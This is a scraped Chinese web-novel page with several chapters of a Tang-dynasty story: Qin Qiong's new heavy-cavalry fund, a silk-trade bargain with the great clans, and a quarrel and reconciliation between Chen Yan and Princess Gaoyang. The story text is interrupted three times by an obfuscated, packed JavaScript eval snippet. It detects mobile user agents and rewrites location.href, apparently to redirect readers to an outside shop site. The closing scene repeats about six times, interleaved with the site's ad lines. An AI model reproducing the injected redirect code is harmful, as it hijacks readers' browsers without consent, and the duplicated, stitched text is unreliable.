高阳说那句‘你这次做得不错’,不是因为许怜月这次传递的消息有多么重要,毕竟陈衍出门前已经跟她们说过要去杜构家喝酒,都是同僚。 喝醉没什么好奇怪的,留宿在杜构家也没什么。 主要是,高阳对许怜月的态度比较满意,没有趁着陈衍喝醉做些什么。 所以她才会说出那句话。 望着他们离开的身影,许怜月眼底一片暗沉. “.” 转眼间,大半个月过去,已经来到了六月底,即将进入七月。 这天,陈衍照例给一群学生上完课,随后并未前往县衙,而是去了折冲府。 李世民的人已经找齐了,整整三千人,秦琼也已经来到了渭南县,所以陈衍打算去看看。 走进折冲府,立即便听到了一阵阵训练的动静,陈衍径直来到练兵的场地,入眼就看到有了经验的程处默三人带着不少士兵做基础的训练。 仔细看了会儿,陈衍皱了皱眉,尽管折冲府的地盘并不小,但想容纳三千人训练,绝对是不够的,场上也绝对没有三千人,最多只有一千五。 “好大侄儿,来啦?” 秦琼正站在高台上看着下面士兵训练,见到陈衍,对他招了招手。 陈衍走上去,凝声道:“秦伯伯,这里的场地太小了,三千人训练完全行不通。” “嗯,我已经发现了。”秦琼抱着双手,淡淡道:“毕竟只是一个折冲府罢了,本就只有一千多府兵,地方当然不会太大。” “不过幸亏渭南县的折冲府背后还有一小片林子,我打算把那片林子砍了,将场地给扩建,然后怀道他们三人一人带一千新兵。” “你觉得怎么样?” 陈衍沉默地遥望远处,从这里,刚好可以 看到远处那片林子不断有树木被砍伐倒塌。 如果他所料不错除了场上这一千多人剩余的人应该全去砍树了。 “.秦伯伯你都已经派人去砍树了那还问**嘛?”他无语道。 “哈哈!”秦琼心情很是不错拍了拍他的肩膀“这不是给你这个县令一个面子嘛跟你知会一声。” 陈衍没说话按理来说县令管不到折冲府但他不同有李世民给的权力都能调动府兵当然可以管得着折冲府。 “秦伯伯陛下给了不少军费吧?要不然你应当不会想着扩建场地。” “你别说。”秦琼神色古怪地点点头“如果我没记错的话这应该是陛下这么多年最大方的一次想当初陛下给玄甲军拨一万贯钱都心疼得不行这次他竟然一次性给了我十万贯!” “我原先以为有个三五万贯就相当好了没想到一次就拿到了十万贯陛下还说不够了再找他要!” “说出来不怕你笑话我感觉陛下现在大方到不对劲!” 陈衍撇撇嘴能不大方吗? 有自己给他到处划拉小钱钱呢。 去年李世民采纳了他的意见一次性给不良人拨了二十万贯呢。 十万贯算个什么? 先不说现在他们还有源源不断的钱财入账 李世民当然大方。 “对了如今我跟你贾伯母都暂时搬到渭南县居住了有空来家里吃饭。”秦琼想起一件事顺口提了一嘴。 “好我记住了。”陈衍颔首提醒道:“秦伯伯好好带这三千兵最好不要因为有钱就随便乱花未来要花钱的地方多着呢。” “前几个月我造出了几种武器装备其无论是坚硬、便携又或者锋利程度都远远超过了大唐以往的武器铠甲。” “这些武器好归好唯一的问题就是制造相当麻烦造价太贵你这点军费都不够给三千人全部配把刀的。” 秦琼:? “不是,你等会儿!他掏了掏耳朵,简直不敢相信自己听到了什么,“十万?! “都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16873839|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不够配把刀的? “就是你那所谓人马俱碎的陌刀吗? “它他娘是金子造的啊?! 陈衍想起陌刀的造价,眼里闪过一丝肉疼,“倒也不是用金子造的,但一把陌刀的造价在五十贯左右,你自己算吧,能不能给这三千人每人配一把陌刀。 秦琼:“. 这么简单的算数题,但凡是个人心里默算一下就知道了。 一把陌刀要五十贯,如果要给三千人全部配备陌刀,就要十五万贯。 他特么还倒欠了五万贯? “你那什么刀啊,那么老贵?秦琼有些绷不住了,实在很难相信一把刀造价高达五十贯。 陈衍摇摇头,“贵虽然贵,但值也是真的值,人马俱碎不是吹出来的,而是用一枚枚铜钱硬生生砸出来的,不含一点水分。 “你听说过传说中那些神兵利器没有?那些所谓的神兵利器造价更贵,但我敢打赌,他们全都比不上陌刀。 “那是专门为了对付骑兵而打造的顶尖杀伐武器。 “而且,这还只是陌刀而已,一件玄夜铠的造价更贵! “你这十万贯听起来很多,其实啥都不是! 秦琼:“. 好吧,打扰了! 原以为陌刀已经很夸张了,没想到玄夜铠更夸张。 但想想也能理解,武器当然是不能跟防具比的。 从前李世民组建玄甲军的时候,秦琼就是亲身经历者,那时他就觉得三千玄甲军的烧钱的本事已经很夸张了。 没想到这里还有更夸张的。 不过一想到重骑兵的战斗力,以及李世民当初用三千破十万,秦琼又沉默了下来。 “好吧,以后我省着点花。 陈衍忽然笑了,“该省的省,不该省的您也不必省,如果我所料不错,陛下对这三千新组建的重骑兵寄予厚望,否则不会在出现**后,仍然要组建这么一支重骑兵! 听着他话语中的暗示,秦琼神情微变,轻轻点了点头。 “明白了。 “. 第488章 稳坐钓鱼台 在折冲府待了一会儿,跟秦琼继续聊了一会儿,陈衍觉得肚子饿了,便告辞回家。 没想到,回来之后,一位意外的人在等他。 “许姑娘,有什么事吗?” 陈衍一屁股坐下,顺手拿起青儿端来的茶水喝了一口。 许怜月道:“你上次说的世家的人找上来了,不过他们好像并没有来找你,而是找到了在县衙的我,一过来便跟我说细谈合作,说你已经答应了。” “他们的意思是,合作尽快,争取在七月中派出一支商队,然后八月再度派出一支商队。” “我询问过了,他们想每二十天派出一支,到后年初,第一支出发的商队应该可以赶回来。为防有意外情况发生,所以最好是组建二十五支商队!” “嗯?”陈衍诧异道:“二十天派出一支商队?” “是的。”许怜月语气多了些变化,似乎有些怀疑,“通过丝绸之路可不是一件容易的事,哪怕大唐击败了**厥,在丝绸之路的中段,也就是从玉门关到碎叶城的这段距离安全性大大提高,但他们的意思是要走出碎叶城,售卖至‘康国’,一匹‘锦’的价格可以达到二十五贯到四十贯钱。” “价格相当诱人,但需要承担的风险很大,因为既然要跑这么远,那当然要拿出最好的‘锦’去售卖是最划算的。” “可按照预估,至少要后年初,也就是贞观七年才能收获第一笔回报,而在此期间,我们还要不断提供货物,他们需要不断派出商队,风险实在太高。” “他们难道就不害怕商队出现意外覆灭,从而导致血本无归吗?” 闻言,陈衍陷入思索,“按照我提前跟他们谈的条件,他们需要给予与货物价值相同的保证金,等于说,我们只需要提供货物,那就永远不会亏,风险几乎全是由他们承担的。” “不过,我最初可没有跟他们说过要合作卖绢帛,我说的是先合作卖白糖” 许怜月脸色一变,“抱歉,我并不清楚这一点,我以为你跟他们谈的是售卖绢帛和白糖,加上他们也并未提及,而且谈的都是白糖与绢帛,所以下意识认为 绢帛包括在内。” “无妨。”陈衍呵了声,“他们已经给出诚意了,二十天派出一支商队,总共需要派出二十五支商队,直到贞观七年初才有第一笔回报,他们的诚意给得很足,那么合作绢帛也没关系。” “我倒是没想到他们野心那么大,竟然想跑出碎叶城,需要一年半的时间才能有收获。” “一年半收获一次,那么长的时间,期间可能会发生太多太多意外,谁知道世家还能跟我合作几次呢?” 陈衍顿了顿,“你们应该还没有决定下来吧?等回头告诉世家的人,既然要走出碎叶城,那么保证金按照十贯钱一匹的价格给,商队由两方共同监管,包括商队出发与回归的地点需要两方共同商定与见证。” “除了保证金之外,等商队返回,如果属于我们一方的利润超出十贯钱,那么他们得为我们补齐剩下的利润。” “最后,再告诉他们,渭南县要新建立三座制造绢帛的工坊,以此来保障与他们合作的货物供应,需要大量招收人手。” 听完陈衍所有的话,许怜月目瞪口呆,人都傻了。 这样的条件.世家能答应吗? 一匹‘锦’十贯钱的保证金,超出市价接近三倍,售卖利润超出十贯钱,人家还得把剩下的利润补给我们。 不是 全大唐就只有咱们卖绢帛了吗? 许怜月有点不理解了,他们只是绢帛制造的速度远远超出其他人,成本也更低而已,但也不至于让世家花这么大代价来购买吧? 市场上三贯到五贯的‘锦’很多啊,世家干嘛不直接去买断,然后拿去自己售卖? 许怜月想了半天,回想起陈衍最后那句话,有些明悟了。 “所以.世家不是冲着合作来的,而是冲着我们的技术来的?” “你不知道吗?”陈衍意外道:“我没跟你说吗?” 你跟我说过吗? 许怜月暗自吐槽,你明明只说跟世家有合作好不好? “算了,那不重要,反正你现在知道了。” 陈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16873840|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 衍无所谓地挥挥手,“反正条件给出来了,诚意我们也同样给了,白糖的处理方式也跟绢帛一样吧,暂时只合作这两样。” 许怜月迟疑了片刻,还是按捺不住心里的好奇,问道:“你不担心他们把制造绢帛的技术学走吗?” “如果技术到了他们手中,咱们可就没有了一点优势了,毕竟咱们渠道不如人家,人脉同样没有人家广。” “倘若他们拿到技术,我们或许会有**烦,失去成为大唐最大绢帛商的机会。” “无所谓。”陈衍漫不经心道:“他们如果有本事学走,那就让他们学,反正我们的技术预计在明年年初更新换代,到时候制作绢帛的速度会大大提升,成本还能进一步压缩,更重要的是,我有信心制作出来的货物成色、质量更好。” “水力纺织机的技术本就是我丢给他们的诱饵,学就学吧。” “再说了,建造工坊需要时间吧?只要我们看好水力纺织机,不让他们找到机会拆开仔细钻研,他们没那么快把制造水力纺织机的技术学走。” “而等他们学走,咱们早就起飞了。” 许怜月嘴角一抽,心里开始为世家默哀。 如果这样的话,他们几乎已经注定要被坑了。 但这也没办法,谁能想到陈衍还能拿出更好的机器呢? 她仔细想了想,沉吟道:“那依然存在问题,按照你所说,目前水力纺织机只是丢给他们的诱饵,即使我们可以想办法让他们不那么快吃到诱饵,但诱饵存在的目的就是给他们吃的。” “这个时间可能就在明年,而明年我们的合作还在继续,甚至还没拿到第一笔回报.” 话未说完,陈衍已经明白了她的意思,嗤笑道:“一匹‘锦’十贯钱的价格,你还有什么不满意的?” “更何况,我不是说了吗?商队需要双方共同监管。” “世家想要我的技术,我想要他们通过丝绸之路的路线与渠道!” “在这场合作里,我们已经赢了,唯一的问题,就是赢得多和赢得少的问题。” “.” 第489章 及冠宴? 主要的问题说完,陈衍紧接着又叮嘱了许怜月很多细节上的问题,让她去跟世家的人沟通。 实际上,重要的事他早就跟崔宣谈完了,合作是一个幌子,大家都心照不宣。 所以这些问题都会交给下面的人去办。 只要谈成,陈衍相信崔宣会立即登门来找自己的。 毕竟,还有很多东西世家没有付出呢,例如书籍。 等一切叮嘱完毕,许怜月没有久留,告辞离开了。 她刚走,高阳便从后面走了出来,款款来到他身旁坐下,“方才你们的谈话我都听到了,虽然我是一位公主,从前也没有太关注世家,但我对李家多少有几分了解。” “我并不认为在我们从长安回来这段时间,世家什么都没做,你会留后手以此保证自己稳坐钓鱼台,但你不该觉得世家就那么好**。” “别忘了,除了大部分傻子,敢上赌桌的人,凭借的从来不是运气,而是千术,比的是谁的本事高明!” 陈衍认真看了看自家的索命小娇妻,“昭棠,其实除了开玩笑的时候,我觉得吧,你真的很有天赋,你的头脑并不差,只是自己不爱动脑子。” “如果你愿意动脑子,相信比大部分官员都要强得多。” “所以,答应我,以后别把自己的脑袋当成装饰品好吗?这玩意长出来就是用来使的!” 高阳:“.” 她闭了闭眼,明白了陈衍应该早就清楚这一点,无需自己提醒。 但这话听起来着实令人牙痒痒! 什么叫她没动脑子,把脑袋当成装饰品? 什么又叫这玩意长出来就是用来使的? 她没用脑袋吗? 如果不是她,你能知道当初污蔑杜如晦的是郑观音? 就凭你,怕是等郑观音无缘无故死在家里,你都还被蒙在鼓里! “.我不想跟你争吵这个!”高阳黑着脸,“我上次在皇宫听你跟父皇说的话,我就想问问你是怎么想的?” “要那么多书籍干什么? 皇室、杜家、房家,天下几乎九成五的书籍你都能随便印刷,剩下那点确实算得上珍贵,但那些属于有也行,没有也无所谓的东西! “还有,你竟然要世家支持你!你是在为你回长安做准备吧? “你难道脑子秀逗了,觉得世家会真心支持你? “哪怕他们碍于条件,表面上支持,你又怎么知道人家暗地里不给你使绊子? “你提的条件看似很苛刻,可我相信,这对世家来说并非无法接受。 陈衍笑吟吟道,“哟,我家嘴硬心软的索命小娇妻是担心我吃了亏,所以在还没彻底达成合作之前,想过来提醒一下我? “陈衍!!! 高阳嗔怒,“我在很认真地跟你说话,你别跟我嬉皮笑脸的,谁担心你吃亏了? “我是为了这个家,为了你手底下跟着你那批人 “啊,对对对!陈衍满脸敷衍地点头。 高阳气得不行,这个男人总能以各种各样的办法极大地调动她的情绪。 “我算了,我懒得跟你说! 她张了张嘴,但一看陈衍露出了似笑非笑的神色,似乎没把她的话放在心上,还期待她继续说下去,就猜到陈衍或许什么都明白。 既然如此,那还有什么好说的? “哟,生气啦?陈衍戳了戳高阳的手臂,后者一脸气呼呼的,看起来还挺可爱。 要不咋说得看建模呢? 好看的人生起气来都觉得是在撒娇。 这也是为什么陈衍总喜欢逗高阳的原因。 更何况高阳很有分寸,人也很聪明,成婚这么久,看似整天闹腾,实则都只是在一些生活上的琐碎事上闹腾。 一旦涉及正事,高阳要么当做不知道,要么上点心,用难听的话来提醒他一些事。 是,陈衍确实偏爱了高阳一点。 但被偏爱的前提是她实际上很懂事,知进退。 而不是有恃无恐,只会无理取闹! “生什么气,我生 什么气?!高阳拍开陈衍的手,“我跟你个王八蛋有什么可生气的? “好啦,不生气,乖哈~ 陈衍用哄孩子的语气哄着,还摸了摸她的头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“非要自取其辱吗? 高阳:“. “咚! “嘶~陈衍捂着被肘击的胸口,一脸痛苦,“你能不能不要那么暴力?温柔点不好吗? “李丽质温柔,怎么你现在抱着的却是我这个暴力的啊?高阳冷哼一声,转而说:“你如今年纪到了,加上马上要回长安任职。 “我觉得,你该办及冠宴了! “. 第490章 我原谅你了 “及冠宴?” 听到高阳的话陈衍陷入了沉思。 及冠宴就是男子的成人礼在大唐是一个男子人生中相当重要的事通常是二十岁的时候办。 但具体并不是在满二十岁当天也就是后世的生日当天办。 而是看你自己想怎么办可以自己挑选日子发出请柬邀请亲朋好友前来见证。 从前陈衍年纪差得有点多就没提这件事现在陈衍已经十九岁即将满二十岁加上要回长安任职了那确实该办成人礼了。 思忖片刻陈衍道:“回长安再办吧现在在渭南县办有些麻烦了很多亲朋好友还得跑到这边来。” “等几个月回长安再办的话不光时间上更合适地点也更方便些。” “嗯”高阳对此倒是没什么意见男子的及冠不比大婚重要性差代表着男子正式成年具备独立参与朝政、缔结联盟、承担**责任的资格。 “是该留出几个月时间好好准备一番等回头我跟姐姐商量商量吧。” 陈衍听后颇为诧异打趣道:“哟我们干啥啥不会吃啥啥不剩的公主殿下居然还会帮**心这些事啦?” “你”高阳气恼用头撞了一下他的胸口“姐姐没嫁过来之前是谁操心家里的事的?” “你管过吗?不都是我拿主意?” “后来没管不是因为我那时怀孕月份大实在没办法才停下来的吗?” “你跟李丽质成婚的时候很多东西还是我准备的呢!” 陈衍愕然。 刚刚那话就是开玩笑的他自然知道高阳从前没少操心家里事。 但他跟李丽质大婚的时候许多东西是高阳准备的这个他真不清楚。 当时他全权交给了崔伯母他们 一想到高阳那时怀着孕还得帮自己准备跟李丽质大婚的东西陈衍有些沉默了。 “呵现在知道本公主的好了吧?”高阳一下子察觉了他的情绪变化得意洋洋:“我平 时跟你说话是难听了些,但这不都无伤大雅吗?” “我自认为嫁给你以来,已经做好了妻子的本分,该做的不该做的我全做了,为你操持家里,等你回家吃饭,帮你规避小人利用,忍着心酸置办你跟别的女**婚,冒着危险给你生儿育女,结果你个没良心的混蛋还整天欺负我。” 她每说一句,就用手指戳一下陈衍的心口,像是要戳进他心里。 “你自己想想,想想平时你跟我说话有多过分?就知道惹我生气,怎么滴?气死我对你有好处?” “以后对本公主客客气气的,让你往东你别往西,让你吃菜你别啃骨头,知道不?” 小说更新,记住域名caixs.com?(请来才 小说 看最新章节 完整章节) 陈衍:“.” 一席话,让他哭笑不得。 他倒没反驳,因为这都是事实,但高阳多少有点膨胀,分不清大小王了。 “那按照你的意思,我没做好一个丈夫的职责咯?”陈衍漫不经心道:“我没有不对你好,没有跟一群女人混在一起,给你做衣服,没有每天亲自叮嘱张姨准备你的饭菜,没有在你挺着个大肚子的时候,给你按摩咯?” “哎呀,我记性不太好,忘记了是谁在你无聊的时候想办法逗你高兴,做出了一堆小玩意和娱乐物品给你打发时间,也忘了某人全身上下,从里到外包括里衣,甚至袜子都是谁亲自把关做的,更忘了是谁始终如一地惯着某人奇奇怪怪的小癖好。” “我忘了啊,我真的忘了!” 高阳顿时不说话了。 她不想跟陈衍争论这些,因为没什么意义。 再一个,她不觉得自己能争得过陈衍。 “棠儿!”陈衍一只手捏起高阳的下巴,让她面对自己的眼睛,笑吟吟道:“你说某人算不算身在福中不知福,整天就知道上蹿下跳,给点阳光就灿烂,吹口气就膨胀,有点好态度就分不清大小王啊?” 高阳长叹一声,“如果你指的是,要给自家夫君和其他女人准备大婚是福的话,那我祝你福如东海、福星高照、福寿双全、洪福齐天、厚德载福、祸福相依最后因祸得福!!” 陈衍:“.” 他啧啧两声,倒没有生气,而是感慨道:“昭棠,你变了,遥想去年,你只会说一句王八蛋,再了不起也就是一句无耻至极的王八蛋。” “我真怀念那个时候啊,但凡随便出两招,你就能气到指着我的手指颤抖,只会说一个‘你’字。” “哎~” “从前的我好欺负,你就随便欺负呗!”高阳恶狠狠地瞪了他一眼,随即自己都忍不住笑了出来。 陈衍抱着她,手臂紧了紧让她靠在自己脖间,他知道她很喜欢这样。 沉默片刻,他说:“是委屈你了,抱歉。” 高阳怔住了。 如果她没记错的话,这是陈衍第一次跟自己说抱歉。 同时,她也很难相信,抱歉这两个字竟然会从这个男人口中说出来。 用开玩笑的方式,来委婉表达情绪的高阳,忽然就觉得那些事好像也没那么委屈了。 她扯了扯嘴角,露出一丝揶揄,“陈衍,你是在哄我吗?” “这可不多见,不像你的性子。” “毕竟,这是白天,我原以为你会到晚上的时候再哄我,或者开诚布公地跟我好好谈谈呢。” 小问题要及时说,否则时间一长会变成大问题。 高阳自然是明白这个道理的,所以如果自己心里有委屈,她都会委婉地跟陈衍说出来。 陈衍也从未让她失望过,基本上都会立即想办法解决。 关于这件事,她本来是不想提的,想着通过时间慢慢抚平那一点点委屈。 只是让她没想到的是,时间没有抚平这点委屈,反而她心里一直不怎么舒服,时常会想起来,所以她选择说出来。 “对,我就在哄你!”陈衍轻声道。 高阳一下子说不出话了,身体扭动了一下,靠在他脖颈间,缓缓闭上了眼。 “我原谅你了!” “.” 听说看这本书的人都是很幸运的,分享后你的运气会更棒 他啧啧两声,倒没有生气,而是感慨道:“昭棠,你变了,遥想去年,你只会说一句王八蛋,再了不起也就是一句无耻至极的王八蛋。 “我真怀念那个时候啊,但凡随便出两招,你就能气到指着我的手指颤抖,只会说一个‘你’字。 “哎~ “从前的我好欺负,你就随便欺负呗!高阳恶狠狠地瞪了他一眼,随即自己都忍不住笑了出来。 陈衍抱着她,手臂紧了紧让她靠在自己脖间,他知道她很喜欢这样。 沉默片刻,他说:“是委屈你了,抱歉。 高阳怔住了。 如果她没记错的话,这是陈衍第一次跟自己说抱歉。 同时,她也很难相信,抱歉这两个字竟然会从这个男人口中说出来。 用开玩笑的方式,来委婉表达情绪的高阳,忽然就觉得那些事好像也没那么委屈了。 她扯了扯嘴角,露出一丝揶揄,“陈衍,你是在哄我吗? “这可不多见,不像你的性子。 “毕竟,这是白天,我原以为你会到晚上的时候再哄我,或者开诚布公地跟我好好谈谈呢。 小问题要及时说,否则时间一长会变成大问题。 高阳自然是明白这个道理的,所以如果自己心里有委屈,她都会委婉地跟陈衍说出来。 陈衍也从未让她失望过,基本上都会立即想办法解决。 关于这件事,她本来是不想提的,想着通过时间慢慢抚平那一点点委屈。 只是让她没想到的是,时间没有抚平这点委屈,反而她心里一直不怎么舒服,时常会想起来,所以她选择说出来。 “对,我就在哄你!陈衍轻声道。 高阳一下子说不出话了,身体扭动了一下,靠在他脖颈间,缓缓闭上了眼。 “我原谅你了! “. 听说看这本书的人都是很幸运的,分享后你的运气会更棒 他啧啧两声,倒没有生气,而是感慨道:“昭棠,你变了,遥想去年,你只会说一句王八蛋,再了不起也就是一句无耻至极的王八蛋。 “我真怀念那个时候啊,但凡随便出两招,你就能气到指着我的手指颤抖,只会说一个‘你’字。 “哎~ “从前的我好欺负,你就随便欺负呗!高阳恶狠狠地瞪了他一眼,随即自己都忍不住笑了出来。 陈衍抱着她,手臂紧了紧让她靠在自己脖间,他知道她很喜欢这样。 沉默片刻,他说:“是委屈你了,抱歉。 高阳怔住了。 如果她没记错的话,这是陈衍第一次跟自己说抱歉。 同时,她也很难相信,抱歉这两个字竟然会从这个男人口中说出来。 用开玩笑的方式,来委婉表达情绪的高阳,忽然就觉得那些事好像也没那么委屈了。 她扯了扯嘴角,露出一丝揶揄,“陈衍,你是在哄我吗? “这可不多见,不像你的性子。 “毕竟,这是白天,我原以为你会到晚上的时候再哄我,或者开诚布公地跟我好好谈谈呢。 小问题要及时说,否则时间一长会变成大问题。 高阳自然是明白这个道理的,所以如果自己心里有委屈,她都会委婉地跟陈衍说出来。 陈衍也从未让她失望过,基本上都会立即想办法解决。 关于这件事,她本来是不想提的,想着通过时间慢慢抚平那一点点委屈。 只是让她没想到的是,时间没有抚平这点委屈,反而她心里一直不怎么舒服,时常会想起来,所以她选择说出来。 “对,我就在哄你!陈衍轻声道。 高阳一下子说不出话了,身体扭动了一下,靠在他脖颈间,缓缓闭上了眼。 “我原谅你了! “. 听说看这本书的人都是很幸运的,分享后你的运气会更棒 他啧啧两声倒没有生气而是感慨道:“昭棠你变了遥想去年你只会说一句王八蛋再了不起也就是一句无耻至极的王八蛋。” “我真怀念那个时候啊但凡随便出两招你就能气到指着我的手指颤抖只会说一个‘你’字。” “哎~” “从前的我好欺负你就随便欺负呗!”高阳恶狠狠地瞪了他一眼随即自己都忍不住笑了出来。 陈衍抱着她手臂紧了紧让她靠在自己脖间他知道她很喜欢这样。 沉默片刻他说:“是委屈你了抱歉。” 高阳怔住了。 如果她没记错的话这是陈衍第一次跟自己说抱歉。 同时她也很难相信抱歉这两个字竟然会从这个男人口中说出来。 用开玩笑的方式来委婉表达情绪的高阳忽然就觉得那些事好像也没那么委屈了。 她扯了扯嘴角露出一丝揶揄“陈衍你是在哄我吗?” “这可不多见不像你的性子。” “毕竟这是白天我原以为你会到晚上的时候再哄我 小问题要及时说否则时间一长会变成大问题。 高阳自然是明白这个道理的所以如果自己心里有委屈她都会委婉地跟陈衍说出来。 陈衍也从未让她失望过基本上都会立即想办法解决。 关于这件事她本来是不想提的想着通过时间慢慢抚平那一点点委屈。 只是让她没想到的是时间没有抚平这点委屈反而她心里一直不怎么舒服时常会想起来所以她选择说出来。 “对我就在哄你!”陈衍轻声道。 高阳一下子说不出话了身体扭动了一下靠在他脖颈间缓缓闭上了眼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16873842|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我原谅你了!” “.” 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 他啧啧两声,倒没有生气,而是感慨道:“昭棠,你变了,遥想去年,你只会说一句王八蛋,再了不起也就是一句无耻至极的王八蛋。” “我真怀念那个时候啊,但凡随便出两招,你就能气到指着我的手指颤抖,只会说一个‘你’字。” “哎~” “从前的我好欺负,你就随便欺负呗!”高阳恶狠狠地瞪了他一眼,随即自己都忍不住笑了出来。 陈衍抱着她,手臂紧了紧让她靠在自己脖间,他知道她很喜欢这样。 沉默片刻,他说:“是委屈你了,抱歉。” 高阳怔住了。 如果她没记错的话,这是陈衍第一次跟自己说抱歉。 同时,她也很难相信,抱歉这两个字竟然会从这个男人口中说出来。 用开玩笑的方式,来委婉表达情绪的高阳,忽然就觉得那些事好像也没那么委屈了。 她扯了扯嘴角,露出一丝揶揄,“陈衍,你是在哄我吗?” “这可不多见,不像你的性子。” “毕竟,这是白天,我原以为你会到晚上的时候再哄我,或者开诚布公地跟我好好谈谈呢。” 小问题要及时说,否则时间一长会变成大问题。 高阳自然是明白这个道理的,所以如果自己心里有委屈,她都会委婉地跟陈衍说出来。 陈衍也从未让她失望过,基本上都会立即想办法解决。 关于这件事,她本来是不想提的,想着通过时间慢慢抚平那一点点委屈。 只是让她没想到的是,时间没有抚平这点委屈,反而她心里一直不怎么舒服,时常会想起来,所以她选择说出来。 “对,我就在哄你!”陈衍轻声道。 高阳一下子说不出话了,身体扭动了一下,靠在他脖颈间,缓缓闭上了眼。 “我原谅你了!” “.” 你的朋友正在书荒,快去帮帮他吧 他啧啧两声倒没有生气而是感慨道:“昭棠你变了遥想去年你只会说一句王八蛋再了不起也就是一句无耻至极的王八蛋。” “我真怀念那个时候啊但凡随便出两招你就能气到指着我的手指颤抖只会说一个‘你’字。” “哎~” “从前的我好欺负你就随便欺负呗!”高阳恶狠狠地瞪了他一眼随即自己都忍不住笑了出来。 陈衍抱着她手臂紧了紧让她靠在自己脖间他知道她很喜欢这样。 沉默片刻他说:“是委屈你了抱歉。” 高阳怔住了。 如果她没记错的话这是陈衍第一次跟自己说抱歉。 同时她也很难相信抱歉这两个字竟然会从这个男人口中说出来。 用开玩笑的方式来委婉表达情绪的高阳忽然就觉得那些事好像也没那么委屈了。 她扯了扯嘴角露出一丝揶揄“陈衍你是在哄我吗?” “这可不多见不像你的性子。” “毕竟这是白天我原以为你会到晚上的时候再哄我或者开诚布公地跟我好好谈谈呢。” 小问题要及时说否则时间一长会变成大问题。 高阳自然是明白这个道理的 陈衍也从未让她失望过基本上都会立即想办法解决。 关于这件事她本来是不想提的想着通过时间慢慢抚平那一点点委屈。 只是让她没想到的是时间没有抚平这点委屈反而她心里一直不怎么舒服时常会想起来所以她选择说出来。 “对我就在哄你!”陈衍轻声道。 高阳一下子说不出话了身体扭动了一下靠在他脖颈间缓缓闭上了眼。 “我原谅你了!” “.” 听说看这本书的人都是很幸运的,分享后你的运气会更棒 他啧啧两声,倒没有生气,而是感慨道:“昭棠,你变了,遥想去年,你只会说一句王八蛋,再了不起也就是一句无耻至极的王八蛋。 “我真怀念那个时候啊,但凡随便出两招,你就能气到指着我的手指颤抖,只会说一个‘你’字。 “哎~ “从前的我好欺负,你就随便欺负呗!高阳恶狠狠地瞪了他一眼,随即自己都忍不住笑了出来。 陈衍抱着她,手臂紧了紧让她靠在自己脖间,他知道她很喜欢这样。 沉默片刻,他说:“是委屈你了,抱歉。 高阳怔住了。 如果她没记错的话,这是陈衍第一次跟自己说抱歉。 同时,她也很难相信,抱歉这两个字竟然会从这个男人口中说出来。 用开玩笑的方式,来委婉表达情绪的高阳,忽然就觉得那些事好像也没那么委屈了。 她扯了扯嘴角,露出一丝揶揄,“陈衍,你是在哄我吗? “这可不多见,不像你的性子。 “毕竟,这是白天,我原以为你会到晚上的时候再哄我,或者开诚布公地跟我好好谈谈呢。 小问题要及时说,否则时间一长会变成大问题。 高阳自然是明白这个道理的,所以如果自己心里有委屈,她都会委婉地跟陈衍说出来。 陈衍也从未让她失望过,基本上都会立即想办法解决。 关于这件事,她本来是不想提的,想着通过时间慢慢抚平那一点点委屈。 只是让她没想到的是,时间没有抚平这点委屈,反而她心里一直不怎么舒服,时常会想起来,所以她选择说出来。 “对,我就在哄你!陈衍轻声道。 高阳一下子说不出话了,身体扭动了一下,靠在他脖颈间,缓缓闭上了眼。 “我原谅你了! “. 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 第491章 此情此景,岂不题诗一首? 十月初,炎热的夏季早已过去,落叶飘零的秋季也过去了一大半。 到了十月份,天气已经逐渐寒冷,再过一个月,便又是一场大雪。 也昭示着,自贞观以来,最平静的一年即将步入尾声。 昨日,一封圣旨送到了县衙,陈衍等人本以为自己马上要回长安任职了,只是没想到,回长安是回长安,但李世民却没有对他们几人做出任何安排。 只是收回了他们在渭南县的职位,除此之外没有其他安排了。 “陈兄,陛下这是什么意思?” 渭河码头旁,那熟悉的茶楼上,杜构侧头询问。 陈衍摇了摇头,表示自己不清楚。 房遗直做出猜测,“或许,陛下是给我们一段回长安休整的时间,然后再对我们做出安排。” “毕竟,我们再怎么说也算立了大功,如今的渭南县跟贞观四年的渭南县可谓有天壤之别,同时验证了不少东西。” “况且......”他顿了顿,笑着说:“陈兄马上要回长安及冠了,陛下说不定就是想等陈兄及冠之后再让我们上任呢?” 